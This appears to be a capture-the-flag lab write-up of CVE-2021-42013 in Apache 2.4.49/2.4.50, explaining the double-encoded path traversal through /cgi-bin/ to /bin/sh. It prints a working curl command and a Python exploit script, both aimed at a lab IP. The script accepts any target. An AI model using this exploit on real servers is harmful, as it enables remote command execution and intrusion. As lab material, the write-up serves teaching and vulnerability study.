Apache HTTP Server 2.4.49/2.4.50 RCE (CVE-2021-42013) — Hackviser

Description

Apache HTTP Server is a popular open-source web server used to host and serve web content. This laboratory contains the CVE-2021-42013 vulnerability found in Apache HTTP Server versions 2.4.49 and 2.4.50. This vulnerability allows attackers to perform path traversal and remote code execution attacks, enabling the execution of arbitrary commands on the server and potentially taking control of the system. The goal is to read the secret in /secret.txt.

English summary: An Apache HTTP Server 2.4.50 instance is vulnerable to CVE-2021-42013. The goal is to exploit the path traversal / RCE vulnerability to read /secret.txt from the filesystem root.

Analysis

CVE-2021-42013 is a path traversal vulnerability in Apache HTTP Server versions 2.4.49 and 2.4.50. It is a bypass of the incomplete fix for CVE-2021-41773 (which was patched in 2.4.50 but insufficiently).

The core issue: Apache's path normalization checks for ../ sequences, but double URL encoding bypasses this check:

• %%32%65 → first decode → %2e → second decode → .
• So %%32%65%%32%65/ decodes to ../ after both decoding passes

When the traversal path goes through a ScriptAlias directive (like /cgi-bin/), Apache treats the resolved path as a CGI script and executes it. By traversing to /bin/sh, an attacker can execute arbitrary shell commands via POST body — escalating path traversal to Remote Code Execution.

Key prerequisites:

1. Apache 2.4.49 or 2.4.50
2. mod_cgi or mod_cgid enabled
3. A ScriptAlias directive (e.g., /cgi-bin/)
4. The Require all granted or permissive directory configuration

Solution

Step 1: Reconnaissance

Identified the target Apache version from HTTP response headers:

curl -sI http://172.20.1.166/

HTTP/1.1 200 OK
Server: Apache/2.4.50 (Unix)

Apache 2.4.50 — vulnerable to CVE-2021-42013.

Direct access to /secret.txt returned 404, confirming the file is at the filesystem root (/secret.txt), not in the web document root.

Step 2: Path Traversal Attempts

Attempted plain path traversal via different aliases:

• Via /cgi-bin/: Returned HTTP 500 — ScriptAlias tries to execute the target file as CGI, not read it
• Via /icons/: Returned HTTP 403 — directory permissions blocked access

This confirmed that raw file read via path traversal alone was insufficient; RCE through /bin/sh was needed.

Step 3: RCE via CVE-2021-42013

Used double-encoded path traversal through /cgi-bin/ to reach /bin/sh and execute cat /secret.txt:

curl -s --path-as-is \
  "http://172.20.1.166/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh" \
  -d 'echo Content-Type: text/plain; echo; cat /secret.txt'

Output:

REDACTED

Breaking down the exploit URL:

• /cgi-bin/ — triggers ScriptAlias, Apache will execute the resolved path
• %%32%65%%32%65/ × 4 — double-encoded ../ repeated 4 times to traverse from the cgi-bin directory to the filesystem root
• /bin/sh — the shell binary to execute
• POST body: CGI-compliant output (Content-Type header + blank line) followed by the command cat /secret.txt
• --path-as-is — prevents curl from normalizing the path (collapsing ../)

The command ran as uid=1(daemon) with /secret.txt having permissions -rwxrwxrwx.

#!/usr/bin/env python3
"""CVE-2021-42013 exploit - Apache 2.4.49/2.4.50 RCE"""
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://172.20.1.166"
traversal = "%%32%65%%32%65/" * 4
url = f"{target}/cgi-bin/{traversal}bin/sh"

resp = requests.post(
    url,
    data="echo Content-Type: text/plain; echo; cat /secret.txt",
    allow_redirects=False
)

print(resp.text)